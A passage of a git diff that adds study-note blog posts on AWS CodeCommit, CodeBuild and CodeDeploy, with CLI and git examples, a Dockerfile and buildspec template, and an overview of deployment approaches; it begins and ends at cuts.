ParameterValue=irkpyyyyyyyy \ + ParameterKey=OperatingSystem, ParameterValue=Linux \ + ParameterKey=SSHLocation, ParameterValue=0.0.0.0/0 \ + ParameterKey=TagKey, ParameterValue=Name \ + ParameterKey=TagValue, ParameterValue=CodeDepoloyDemo \ + --capabilities CAPABILITY_IAM + + # verify the cloudfromation stack has completed using + aws cloudformation describe-stacks --stack-name CodeDeployDemoStack --query "Stack[0].StackStatus" --output test + + # login to instance to check the codedeploy agent + sudo service codedeploy-agent status + ``` + +5. CodeDeploy : setup and deploy + - create application + - application name + - compute plantform + - create deployment group + - deployment group name + - service role + - deployment type + - environment configuration + - EC2 instance: Key&Value of created EC2 + - deployment setting + - Load balancer + - create deployment <- create the application + - select deployment group + - revision type(S3/Github) and revision location. + - the application is installed and run + +6. upload the next version of code (manually triggered) + +7. Setup the CodePipeline and triggered + - pipeline setting: + - pipeline name + - service role (create a new service role) + - role name + - source stage + - source provider + - (S3/Github): bucket name + - detection option + - Cloudwatch: pipeline + - build stage + - CodeBuild or Jenkins + - deploy stage + - deploy provider + - region + - application name + - deployment group + - start building the application + +8. upload the next version of code (auto triggered) + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-1CodeCommit.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-1CodeCommit.md new file mode 100644 index 00000000000..fac3b7966f0 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-1CodeCommit.md @@ -0,0 +1,211 @@ +--- +title: AWS - CodeDevelop - CodeCommit +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +- [CodeCommit](#codecommit) + - [basic](#basic) + - [work flow](#work-flow) + - [setup](#setup) + +--- + +# CodeCommit + +![CodeCommit](https://i.imgur.com/ENCpW6N.png) + +- a version control service hosted by Amazon Web Services + - tracks and manages code changes + - Maintains version history +- Centralized Code Repository + - use to privately store and manage assets (such as documents, source code, and binary files) in the cloud. + - place to store source code, binaries, libraries, images, HTML files ... + - based on Git +- Enables Collaboration + - manages updates from multiple users. + +--- + +## basic +- secure, highly scalable, managed source control service that hosts private Git repositories. +- eliminates the need to manage your own source control system or scaling the infrastructure. +- use CodeCommit to store anything from code to binaries. +- It supports the standard functionality of Git, works seamlessly with your existing Git-based tools. + +With CodeCommit, you can: + +1. fully managed service hosted by AWS. + - high service availability and durability and eliminates the administrative overhead of managing your own hardware and software. + - no hardware to provision and scale and no server software to install, configure, and update. + +2. Store code securely + - Encryption + - CodeCommit repositories are auto encrypted at rest and in transit through AWS Key Management Service (AWS KMS) using customer-specific keys. + - You can transfer your files to and from AWS CodeCommit using HTTPS or SSH, as you prefer. + - Access Control + - AWS CodeCommit uses AWS Identity and Access Management to control and monitor who can access the data and how, when, and where they can access it. + - CodeCommit also helps you monitor your repositories via `AWS CloudTrail and AWS CloudWatch`. + + +3. Work collaboratively on code + - CodeCommit repositories support pull requests + - provide a mechanism to request code reviews and discuss code with collaborators. + - users can review and comment on each other's code changes before merging them to branches; + - easily commit, branch, and merge the code to easily maintain control of team’s projects. + - notifications that automatically send emails to users about pull requests and comments; and more. + +4. Easily scale the version control projects + - CodeCommit repositories can scale up to meet your development needs. + - The service can handle repositories with large numbers of files or branches, large file sizes, and lengthy revision histories. + +5. Store anything, anytime + - no limit on the size of repositories or the file types to store. + +6. Integrate with other AWS and third-party services. + - CodeCommit keeps your repositories close to your other production resources in the AWS Cloud, which helps increase the speed and frequency of your development lifecycle. + - It is integrated with IAM and can be used with other AWS services and in parallel with other repositories. + +7. Easy Access and Integration + - Easily migrate files from other remote repositories. + - migrate to CodeCommit from any Git-based repository. + - use the AWS Management Console, AWS CLI, and AWS SDKs to manage your repositories. + - can also use Git commands or Git graphical tools to interact with your repository source files. + - AWS CodeCommit supports all Git commands and works with your existing Git tools. + - You can integrate with your development environment plugins or continuous integration/continuous delivery systems. + + +8. High Availability and Durability + - AWS CodeCommit stores your repositories in Amazon S3 and Amazon DynamoDB. + - encrypted data is redundantly stored across multiple facilities. + - increases the availability and durability of the repository data. + - Unlimited Repositories + - create as many repositories as you need + - up to 1,000 repositories by default and no limits upon request. + - You can store and version any kind of file, including application assets such as images and libraries alongside your code. + + +9. Notifications and Custom Scripts + - receive notifications for events impacting your repositories. + - Notifications will come in the form of Amazon SNS notifications. + - Each notification will include a status message as well as a link to the resources whose event generated that notification. + - Additionally, using AWS CodeCommit repository triggers, you can send notifications and create HTTP webhooks with Amazon SNS or invoke AWS Lambda functions in response to the repository events you choose. + +--- + + +## work flow + +- similar to Git-based repositories +- provides a console for easy creation of repositories and the listing of existing repositories and branches. +- find information about a repository and clone it to their computer, creating a local repo where they can make changes and then push them to the CodeCommit repository. +- Users can work from + - the command line on local machines + - or use a GUI-based editor. + +![arc-workflow](https://i.imgur.com/dCtKMc0.png) + + +![Screen Shot 2020-12-27 at 03.33.55](https://i.imgur.com/NDqsZwC.png) + + +![Screen Shot 2020-12-27 at 03.34.24](https://i.imgur.com/a99WuOp.png) + + +![Screen Shot 2020-12-27 at 03.34.47](https://i.imgur.com/Tb6tPsF.png) + + +--- + + +## setup + +1. Create a Server from an Amazon Linux 2 AMI +2. Create IAM user for CodeCommit + 1. user:`cloud_user` + 2. User ARN: `arn:aws:iam::183169071737:user/cloud_user` + 3. Add permissions > Attach existing policies directly. + 1. `AWSCodeCommitFullAccess` policy + 4. user credentials: + 1. create access Key: for aws configure + - `AcessKeyID` and `cloud_user_accessKeys.csv` + 2. create HTTPS Git credentials for AWS CodeCommit: for git clone + - Username: `cloud_user-at-183169071737` + - credentials: `cloud_user_codecommit_credentials.csv` + + +```bash +aws configure +# AWS Access Key ID [None]: abcd +# AWS Secret Access Key [None]: abcd +# Default region name [None]: us-east-1 +# Default output format [None]: json + +aws codecommit create-repository --repository-name RepoFromCLI --repository-description "My 1st repository" +# { +# "repositoryMetadata": { +# "accountId": "183169071737", +# "repositoryId": "bfc04a5a-833f-4d33-b2aa-6b50f91db4ee", +# "repositoryName": "RepoFromCLI", +# "repositoryDescription": "My 1st repository", +# "lastModifiedDate": "2021-01-18T16:53:00.294000-05:00", +# "creationDate": "2021-01-18T16:53:00.294000-05:00", +# "cloneUrlHttp": "https://git-codecommit.us-east-1.amazonaws.com/v1/repos/RepoFromCLI", +# "cloneUrlSsh": "ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/RepoFromCLI", +# "Arn": "arn:aws:codecommit:us-east-1:183169071737:RepoFromCLI" +# } +# } + +git clone https://git-codecommit.us-east-1.amazonaws.com/v1/repos/RepoFromCLI +cd RepoFromCLI/ +cat "hello" > test.text +git add test.text + +git commit -m "added test.txt" +# [master 16ac6f1] added test.txt +# 1 file changed, 1 insertion(+) +# create mode 100644 test.text + +git log +# commit 16ac6f1cd97caef191132db56095efc126960753 (HEAD -> master) +# Author: L.desk <54053176+ocholuo@users.noreply.github.com> +# Date: Mon Jan 18 16:59:52 2021 -0500 +# added test.txt +# commit 7e0c3566758489d4afb3394e95b48ffcbba524d6 (origin/master, origin/HEAD) +# Author: 1 <1111@aws.com> +# Date: Mon Jan 18 21:54:10 2021 +0000 +# Added Screen Shot 2021-01-18 at 16.28.28.png + +git push -u origin master +# Enumerating objects: 4, done. +# Counting objects: 100% (4/4), done. +# Delta compression using up to 8 threads +# Compressing objects: 100% (2/2), done. +# Writing objects: 100% (3/3), 327 bytes | 327.00 KiB/s, done. +# Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 +# To https://git-codecommit.us-east-1.amazonaws.com/v1/repos/RepoFromCLI +# 7e0c356..16ac6f1 master -> master +# Branch 'master' set up to track remote branch 'master' from 'origin'. + +git log +# commit 16ac6f1cd97caef191132db56095efc126960753 (HEAD -> master, origin/master, origin/HEAD) +# Author: L.desk <54053176+ocholuo@users.noreply.github.com> +# Date: Mon Jan 18 16:59:52 2021 -0500 +# added test.txt +# commit 7e0c3566758489d4afb3394e95b48ffcbba524d6 +# Author: 1 <1111@aws.com> +# Date: Mon Jan 18 21:54:10 2021 +0000 +# Added Screen Shot 2021-01-18 at 16.28.28.png +``` + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuild.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuild.md new file mode 100644 index 00000000000..3e106d535d2 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuild.md @@ -0,0 +1,312 @@ +--- +title: AWS - CodeDevelop - CodeBuild +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +- [CodeBuild](#codebuild) + - [How to run CodeBuild](#how-to-run-codebuild) + - [manually docker build process](#manually-docker-build-process) + - [codebuild auto build docker](#codebuild-auto-build-docker) + +--- + +# CodeBuild + +```bash +# docker command to build, tag and push you docker image to the ECR reporitry + +# build docker image +docker build -t mydockerrepo . + +# Identify the image to push. list the images +docker images + +# Tag the image with the Amazon ECR registry, repository +# tags image with the ID e9ae3c220b23 as aws_account_id.dkr.ecr.region.amazonaws.com/my-web-app. +docker tag e9ae3c220b23 aws_account_id.dkr.ecr.region.amazonaws.com/my-web-app + +# Push the image using the docker push command: +docker push aws_account_id.dkr.ecr.region.amazonaws.com/my-web-app +``` + + +3 benefits: + +1. Fully managed + - fully managed build service in the cloud. + - compiles the source code, runs unit tests, and produces artifacts that are ready to deploy. + - eliminates the need to provision, set up, patch, update, manage and scale your own build servers. + +2. On demand + - scales on demand to meet your build needs. + - pay only for the build minutes you consume. + +3. Out of the box + - provides preconfigured / prepackaged build environments for popular programming languages and build tools + - such as Apache Maven, Gradle, and more. + - can also customize build environments in CodeBuild to use your own build tools. + - CodeBuild scales automatically to meet peak build requests. + - All you need to do is point to your build script to start your first build. + + +4. The CodeBuild console also provides a way to quickly search for your resources, such as repositories, build projects, deployment applications, and pipelines. Choose Go to resource or press the / key, and then enter the name of the resource. Any matches appear in the list. Searches are case insensitive. You only see resources that you have permissions to view. For more information, see Viewing resources in the console. + + + buildspec file +- collection of build commands and related settings CodeBuild uses to run a build. +- YAML format +- can overwrite the settings in buildspec.tml by adding own commands in the console when launch the build. +- if build fail, check thebuild logs in the codebuild console or log in cloudwatch. + + + +How to run CodeBuild +- use the AWS CodeBuild or AWS CodePipeline console to run CodeBuild. +- automate the running of CodeBuild by using the AWS Command Line Interface (AWS CLI) or the AWS SDKs. + + + + +--- + +## How to run CodeBuild + +![pipeline](https://i.imgur.com/Lfwp6sQ.png) + +> create a pipeline and add CodeBuild as a build or test action to the build or test stage of a pipeline in AWS CodePipeline. + +![arch](https://i.imgur.com/Fvqzqdv.png) + +1. provide CodeBuild with a build project + - A build project includes information about + - how to run a build, + - where to get the source code, + - which build environment to use, + - which build commands to run, + - and where to store the build output. + - A build environment represents a combination of operating system, programming language runtime, and tools that CodeBuild uses to run a build. + - CodeBuild uses the build project to create the build environment + +2. CodeBuild use build specification file to start build + - CodeBuild downloads the source code into the build environment + - and then uses the build specification file (buildspec) + +3. If there is any build output, the build environment uploads its output to an S3 bucket + - The build environment can also perform tasks that you specify in the buildspec + - (for example, sending build notifications to an Amazon SNS topic) + +4. While the build is running, the build environment sends information to CodeBuild and Amazon CloudWatch Logs + +5. While the build is running + - use the AWS CodeBuild console, AWS CLI, or AWS SDKs to get summarized build information from CodeBuild and detailed build information from Amazon CloudWatch Logs. + - If you use AWS CodePipeline to run builds, you can get limited build information from CodePipeline. + + +--- + +## manually docker build process + +> CodeBuild automate this process + +```bash +# prepare +1. get CodeCommit repository +2. get the docker file +3. get user and attach with policy for CodeCommit +4. configure the aws cli + +# upload +5. download the CodeCommit repository +6. add the file and push the file to CodeCommit +7. file is stored in the codecommit now + +# start build +7. create ECS + - get a container run in ec2 +8. create ECR new repository + - push docker image in to the repository +9. create new Task Definition + - setup the container + - setup ECR repository image location + - xxx.dkr.ecr.eu-central-1.amazonaws.com/myrepository:latest +10. create service (Task): + - give it a service name + - Whether you need load balancing, auto scaling... +11. now check ec2 instance ip + - web application on docker in ec2 +``` + +--- + +detailed step + +1. create a CodeCommit repository + - clone URL + - connection steps + +2. get the docker file + + ```bash + # dockerfile + + FROM ubuntu:12.04 + # Install dependencies + RUN apt-get update -y + RUN apt-get install -y apache2 + + # Install apache and write hello world message + RUN echo "Hello Cloud Gurus!!!! This web page is running in a Docker container!" > /var/www/index.html + + # Configure apache + RUN a2enmod rewrite + RUN chown -R www-data:www-data /var/www + ENV APACHE_RUN_USER www-data + ENV APACHE_RUN_GROUP www-data + ENV APACHE_LOG_DIR /var/log/apache2 + + EXPOSE 80 + + CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"] + ``` + +3. set user and attach with policy for CodeCommit + - `ec2ecsregistry` + +4. configure the aws cli + +5. connect to codecommit repo and clone it locally: + - setup SSH connection to CodeCommit repository + - generate ssh key + - see public key + - service > IAM > User > security credential + - SSH Keys for CodeCommit + - create a `./config` file, chmod 600. + + ```bash + sourcecoderepo + - dockerfile + - buildspec.yml + + # Set Up the Credential Helper + git config --global credential.helper '!aws codecommit credential-helper $@' + git config --global credential.UseHttpPath true + + # connect + ssh git-codecommit.use-east-2.amazonaws.com + + # Clone the repository with the git clone command: + git clone https://git-codecommit.eu-central-1.amazonaws.com/v1/repos/mysourcecoderepo + git clone SSH_Clone_URL + ``` + +6. push the file to CodeCommit + ```bash + git add . + git commit -m "Adding file" + git push + ``` + +7. file is stored in the codecommit now + +8. create ECS + - create cluster: + - ec2linux+networking + - cluster name + - select cluster + - have one container and ec2 instance + +9. create ECR repository + - push docker image in to repository + - push commands for the repository: + + ```bash + # retrieve the login command to use to authenticate the Docker client to registry by AWS CLI + $(aws ecr get-login --no-include-email --region eu-central-1) + + # build docker image + docker build -t mydockerrepo . + + # Identify the image to push. list the images + docker images + + # Tag the image with the Amazon ECR registry, repository + # tags image with the ID e9ae3c220b23 as aws_account_id.dkr.ecr.region.amazonaws.com/my-web-app. + docker tag e9ae3c220b23 aws_account_id.dkr.ecr.region.amazonaws.com/my-web-app + + # Push the image using the docker push command: + docker push aws_account_id.dkr.ecr.region.amazonaws.com/my-web-app + ``` + +10. task definition + - create new Task Definition + - EC2 or Fargate + - default + - add container: specify the container and docker image + - add docker image from ECR + - port mapping: host port 80 + - action: create service + +11. ec2 instance - application on docker + + +--- + +## codebuild auto build docker + + +```bash +# prepare +1. get CodeCommit repository +2. get the docker file +3. get user and attach with policy for CodeCommit +4. configure the aws cli + +# upload +5. download the CodeCommit repository +6. add the file and push the file to CodeCommit + - dockerfile + - buildspec.yml +7. file is stored in the codecommit now + +# start build +# 7. create ECS +# - get a container run in ec2 +# 8. create ECR new repository +# - push docker image in to the repository +# 9. create new Task Definition +# - setup the container +# - setup ECR repository image location +# - xxx.dkr.ecr.eu-central-1.amazonaws.com/myrepository:latest +# 10. create service (> Task): +# - give it a service name +# - if you need load balancing, auto scaling... +# 10. now check ec2 instance ip +# - web application on docker in ec2 + +7. create project + - setup the CodeCommit repository + - setup the service role + - setup/build(diy) the buildspec file +8. start build +9. build log + + +``` + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuildTemplate-Dockerfile.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuildTemplate-Dockerfile.md new file mode 100644 index 00000000000..0685b5290c0 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuildTemplate-Dockerfile.md @@ -0,0 +1,38 @@ +--- +title: AWS - CodeDevelop - CodeBuild - dockerfile Template +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + +# dockerfile Template + +```dockerfile + +# example from AWS WhitePaper, no real credential inside + +FROM ubuntu:12.04 +# Install dependencies +RUN apt-get update -y +RUN apt-get install -y apache2 + +# Install apache and write hello world message +RUN echo "Hello Cloud Gurus!!!! This web page is running in a Docker container!" > /var/www/index.html + +# Configure apache +RUN a2enmod rewrite +RUN chown -R www-data:www-data /var/www +ENV APACHE_RUN_USER www-data +ENV APACHE_RUN_GROUP www-data +ENV APACHE_LOG_DIR /var/log/apache2 + +EXPOSE 80 + +CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"] +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuildTemplate-buildspec.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuildTemplate-buildspec.md new file mode 100644 index 00000000000..8b0025f1036 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-2CodeBuildTemplate-buildspec.md @@ -0,0 +1,66 @@ +--- +title: AWS - CodeDevelop - CodeBuild - buildspec.yml Template +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +- [buildspec.yml Template](#buildspecyml-template) + +--- + +# buildspec.yml Template + + +```yml + +# example from AWS WhitePaper, no real credential inside, no real credential inside + +version: 0.2 + +#env: + #variables: + # key: "value" + # key: "value" + #parameter-store: + # key: "value" + # key: "value" + +phases: + install: + runtime-versions: + docker: 18 + commands: + - nohup /usr/local/bin/dockerd --host=unix:///var/run/docker.sock --host=tcp://127.0.0.1:2375 --storage-driver=overlay2& + - timeout 15 sh -c "until docker info; do echo .; sleep 1; done" + pre_build: + commands: + - echo Logging in to Amazon ECR.... + - aws --version + # update the following line with your own region + - $(aws ecr get-login --no-include-email --region eu-central-1) + build: + commands: + - echo Build started on `date` + - echo Building the Docker image... + # update the following line with the name of your own ECR repository + - docker build -t mydockerrepo . + # update the following line with the URI of your own ECR repository (view the Push Commands in the console) + - docker tag mydockerrepo:latest 757250003982.dkr.ecr.eu-central-1.amazonaws.com/mydockerrepo:latest + post_build: + commands: + - echo Build completed on `date` + - echo pushing to repo + # update the following line with the URI of your own ECR repository + - docker push 757250003982.dkr.ecr.eu-central-1.amazonaws.com/mydockerrepo:latest +#artifacts: + # - location + # - location + #discard-paths: yes + #base-directory: location +#cache: + #paths: + # - paths +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-3CodeDeploy.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-3CodeDeploy.md new file mode 100644 index 00000000000..c2b04c803ae --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-3CodeDeploy.md @@ -0,0 +1,802 @@ +--- +title: AWS - CodeDevelop - CodeDeploy +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +- [CodeDeploy](#codedeploy) + - [Benefits of AWS CodeDeploy](#benefits-of-aws-codedeploy) + - [Overview of CodeDeploy compute platforms](#overview-of-codedeploy-compute-platforms) + - [1. EC2/On-Premises compute platform ](#1--ec2on-premises-compute-platform-) + - [2. AWS Lambda ](#2--aws-lambda-) + - [3. Amazon ECS ](#3--amazon-ecs-) + - [CodeDeploy deployment approaches types](#codedeploy-deployment-approaches-types) + - [blue/green deployment vs in-place deployment](#bluegreen-deployment-vs-in-place-deployment) + - [ In-place deployment ](#-in-place-deployment-) + - [ Blue/Green deployment ](#-bluegreen-deployment-) + - [Blue/green deployment on different compute platform](#bluegreen-deployment-on-different-compute-platform) + - [Blue/Green deployment through lambda and ECS](#bluegreen-deployment-through-lambda-and-ecs) + - [Blue/Green deployment on an EC2/on-premises compute platform](#bluegreen-deployment-on-an-ec2on-premises-compute-platform) + - [Blue/Green deployment through AWS CloudFormation](#bluegreen-deployment-through-aws-cloudformation) + - [AppSpec File - Application Specification File](#appspec-file---application-specification-file) + - [AppSpec files on an Amazon ECS compute platform](#appspec-files-on-an-amazon-ecs-compute-platform) + - [AppSpec files on an AWS Lambda compute platform](#appspec-files-on-an-aws-lambda-compute-platform) + - [AppSpec files on an EC2/on-premises compute platform](#appspec-files-on-an-ec2on-premises-compute-platform) + - [AppSpec File spacing](#appspec-file-spacing) + - [CodeDeploy Lifecycle Event Hooks](#codedeploy-lifecycle-event-hooks) + - [Setup an app in CodeDeploy](#setup-an-app-in-codedeploy) + + +--- + +# CodeDeploy + +- a deployment service +- CodeDeploy makes it easier to: + - Rapidly release new features + - Update AWS Lambda function versions + - Avoid downtime during application deployment + - avoid risks associated with manual deployments + - CodeDeploy handle the complexity of updating the applications + + +2 deployment approaches type options: +- In-place / rolling update deployment + - The application is stopped on each instance in the deployment group, and the new version is installed. + - roll back: re-deploy, time consume +- Blue/Green deployment `more save` + - new release is installed on the new instances. + - blue: active deployment + - green: new release + - roll back, easy switch, registered and deregistered to the load balancer + +![deployment approaches](https://i.imgur.com/3cwLO0t.png) + + +can deploy nearly unlimited variety of application content, including: + - Code + - Serverless AWS Lambda functions + - do not need to make changes to your existing code before you can use CodeDeploy. + - Web and configuration files + - Executables + - Packages + - Scripts + - Multimedia files + +--- + +## Benefits of AWS CodeDeploy + +CodeDeploy offers these benefits: + +1. Server, serverless, and container applications + - deploy both + - traditional applications on servers (EC2 instances, on-premises instances) + - and applications that deploy a serverless AWS Lambda function version or an Amazon ECS application. + - CodeDeploy works with various systems for configuration management, source control, continuous integration, continuous delivery, and continuous deployment + + +2. Automated application deployments + - fully automates the application deployments across the development, test, and production environments + - Repeatable deployments + - easily repeat an application deployment across different groups of instances with AWS CodeDeploy. + - CodeDeploy uses a file and command-based install model, which enables it to deploy any application and reuse existing setup code. + - The same setup code can be used to consistently deploy and test updates across your deployment, test, and production release stages for Amazon EC2 instances. + - Eliminate manual steps from deployments increases the speed and reliability of software delivery process. + - Automatic scaling + - scales with your infrastructure to deploy to one instance or thousands. + - integrate software deployment and scaling activities in order to keep your application up-to-date in a dynamic production environment. + - For Amazon EC2 instances, CodeDeploy integrates with Auto Scaling. Auto Scaling allows you to scale EC2 capacity according to conditions you define such as spikes in traffic. CodeDeploy is notified whenever a new instance launches into an Auto Scaling group and will automatically perform an application deployment on the new instance before it is added to an Elastic Load Balancing load balancer. + - On-premises deployments + - use AWS CodeDeploy to automate software deployments across the development, test, and production environments running on any instance + - including instances in your own data centers (instances need to connect to AWS public endpoints). + - enables you to use a single service to consistently deploy applications across hybrid architectures. + + + +3. Minimize downtime + - no require downtime when upgraded to a new revision + + - in-place / rolling update + - for EC2/On-Premises compute platform + - maximize the application availability. + - CodeDeploy performs a rolling update across Amazon EC2 instances + - specify the number of instances to be taken offline at a time for updates. + - blue/green deployment update + - the latest application revision is installed on replacement instances. + - new version of application is launched alongside the old version. + - Once the new revision is tested and declared ready, CodeDeploy shift the traffic from your prior version to new version according to the specifications. + - Traffic is rerouted to these instances when you choose, Canary, Linear, all-at-once + - deployment health tracking + - For both deployment types, CodeDeploy tracks application health according to rules you configure. + - works in conjunction with rolling updates to keep applications highly available during deployments. + - Unexpected downtime can occur if bad updates are deployed. + - AWS CodeDeploy monitors your deployment and will stop a deployment if there are too many failed updates. + +4. Stop and roll back + - stop an application deployment that is in process at any time using the AWS Management Console, the AWS CLI, or any of the AWS SDKs. + - can automatically or manually stop and roll back deployments if there are errors. + - re-deploy that revision if you want to continue the stopped deployment at a later time. + - or immediately rollback by redeploying the previous revision. + + +5. Centralized control + - receive a report that lists when each application revision was deployed and to which Amazon EC2 instances. + + - Monitoring and control + - launch, control, and monitor deployments of the software directly from the AWS Management Console or by using the AWS CLI, SDKs, or APIs. + - In the case of a failure, you can + - pinpoint the script experiencing failure. + - set push notifications to monitor the status of the deployments via SMS or email through Amazon Simple Notification Service. + - Deployment groups + - One application can be deployed to multiple deployment groups. + - Deployment groups are used to match configurations to specific environments, such as a staging or production environments. + - You can test a revision in staging and then deploy that same code with the same deployment instructions to production once you are satisfied. + - Deployment history + - tracks and stores the recent history of the deployments. + - view which application versions are currently deployed to each of your target deployment groups. + - inspect the change history and success rates of past deployments to specific deployment groups. + - investigate a timeline of past deployments for a detailed view of the deployment successes and errors. + - quickly search for resources + - such as repositories, build projects, deployment applications, and pipelines. + - Go to resource or press the / key > type the name of the resource. + - Any matches appear in the list. + - Searches are case insensitive. + - only see resources that you have permissions to view. + +6. Easy to adopt + - platform and language agnostic and works with any application. + - easily reuse the setup code + - AWS CodeDeploy uses a file and command-based install model + - single AppSpec configuration file to run actions, tests, or verifications at each lifecycle event (phase of deployment). + - The commands can be any code, such as a shell script, a custom program, or even a configuration management tool. + - enables it to deploy any application and reuse existing setup code. + - Tool chain integration + - easy to integrate application deployments with your existing software delivery toolchain by using the AWS CodeDeploy APIs. + - AWS CodePipeline, AWS CodeStar, and some AWS partners provide pre-built CodeDeploy integrations for continuous integration and continuous delivery services, making it simple to automatically deploy your updated application. + - can deploy application content that runs on a server and is stored in S3 buckets, GitHub repositories, or Bitbucket repositories + + +7. 同时地 Concurrent deployments. + - have more than one application that uses the EC2/On-Premises compute platform, CodeDeploy can deploy them concurrently to the same set of instances. + + +8. Receive Notifications + - Review defined events + - create notifications for events impacting the deployments. + - Notifications will come in the form of Amazon SNS notifications. + - Each notification includes a status message as well as a link to the resources whose event generated that notification. + + +--- + + +## Overview of CodeDeploy compute platforms +CodeDeploy is able to deploy applications to three compute platforms: + +### 1. EC2/On-Premises compute platform + - Deployments that use physical servers like Amazon EC2 cloud instances, on-premises servers, or both. + - Applications created using the EC2/On-Premises compute platform can be composed of executable files, configuration files, images, and more. + - manage the way in which traffic is directed to instances by using: + - in-place deployment type + - or blue/green deployment type + + +### 2. AWS Lambda + - deploy applications that consist of an updated version of a Lambda function. + - AWS Lambda manages the Lambda function in a serverless compute environment made up of a high-availability compute structure. All administration of the compute resources is performed by AWS Lambda + - manage the way in which traffic is shifted to the updated Lambda function versions during a deployment by choosing: + - canary, linear, or all-at-once configuration + +### 3. Amazon ECS + - deploy an Amazon ECS containerized application as a task set. + - CodeDeploy performs a blue/green deployment by installing an updated version of the application as a new replacement task set. + - CodeDeploy reroutes production traffic from the original application task set to the replacement task set. + - The original task set is terminated after a successful deployment. + - manage the way in which traffic is shifted to the updated task set during a deployment by choosing + - canary, linear, or all-at-once configuration + - Amazon ECS blue/green deployments are supported using both CodeDeploy and AWS CloudFormation. + + +| CodeDeploy component | EC2/On-Premises | AWS Lambda | Amazon ECS | +| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Deployment group | Deploys a revision to a set of instances. | Deploys a new version of a serverless Lambda function on a high-availability compute infrastructure. | Specifies the Amazon ECS service with the containerized application to deploy as a task set, a production and optional test listener used to serve traffic to the deployed application, when to reroute traffic and terminate the deployed application's original task set, and optional trigger, alarm, and rollback settings. | +| Deployment | Deploys a new revision that consists of an application and AppSpec file. The AppSpec specifies how to deploy the application to the instances in a deployment group | Shifts production traffic from one version of a Lambda function to a new version of the same function. The AppSpec file specifies which Lambda function version to deploy | Deploys an updated version of an Amazon ECS containerized application as a new, replacement task set. CodeDeploy reroutes production traffic from the task set with the original version to the new replacement task set with the updated version. When the deployment completes, the original task set is terminated. | +| Deployment configuration | Settings that determine the deployment speed and the minimum number of instances that must be healthy at any point during a deployment. | Settings that determine how traffic is shifted to the updated Lambda function versions. | Settings that determine how traffic is shifted to the updated Amazon ECS task set. | +| Revision | A combination of an AppSpec file and application files, such as executables, configuration files, and so on. | An AppSpec file that specifies which Lambda function to deploy and Lambda functions that can run validation tests during deployment lifecycle event hooks. | An AppSpec file that specifies:
    - The Amazon ECS task definition for the Amazon ECS service with the containerized application to deploy.
    - The container where your updated application is deployed.
    - A port for the container where production traffic is rerouted.
    - Optional network configuration settings and Lambda functions that can run validation tests during deployment lifecycle event hooks. | +| Application | A collection of deployment groups and revisions.
    An EC2/On-Premises application uses the EC2/On-Premises compute platform. | A collection of deployment groups and revisions.
    An application used for an AWS Lambda deployment uses the serverless AWS Lambda compute platform. | A collection of deployment groups and revisions.
    An application used for an Amazon ECS deployment uses the Amazon ECS compute platform. | + +--- + + +## CodeDeploy deployment approaches types + +CodeDeploy provides two deployment approaches type options: +- In-place deployment + - hook: de-registering, installation, re-registering +- Blue/Green deployment + +--- + +### blue/green deployment vs in-place deployment +A blue/green deployment offers a number of advantages over an in-place deployment: + +- install and test an application in the new replacement environment and deploy it to production simply by rerouting traffic + +- the EC2/On-Premises compute platform, switching back to the most recent version of an application is faster and more reliable + - traffic can be routed back to the original instances as long as they have not been terminated. + - With an in-place deployment, versions must be rolled back by redeploying the previous version of the application. + +- EC2/On-Premises compute platform, new instances are provisioned for a blue/green deployment and reflect the most up-to-date server configurations. This helps you avoid the types of problems that sometimes occur on long-running instances. + +- AWS Lambda compute platform, you control how traffic is shifted from your original AWS Lambda function version to your new AWS Lambda function version. + +- Amazon ECS compute platform, you control how traffic is shifted from your original task set to your new task set. + + + +--- + +### In-place deployment + +In-place deployment: +- rolling update +- The application on each instance in the deployment group is stopped + - the instance is offline +- the latest/new application revision is installed + - the new version of the application is started and validated. + +The AppSpec file +- unique to CodeDeploy +- It defines the deployment actions you want CodeDeploy to execute. + +You can use a load balancer so that each instance is deregistered during its deployment and then restored to service after the deployment is complete. + +> Only deployments that use the EC2/On-Premises compute platform can use in-place deployments. +> AWS Lambda and Amazon ECS deployments cannot use an in-place deployment type. + + +![sds_architecture](https://i.imgur.com/H9CWDpT.png) + +Here's how it works: +1. local development machine: + - bundle deployable content + Application specification file (AppSpec file) into an archive file (an application revision) + - and then upload it to an Amazon S3 bucket or a GitHub repository. + +2. provide CodeDeploy with information about your deployment + - such as + - which Amazon S3 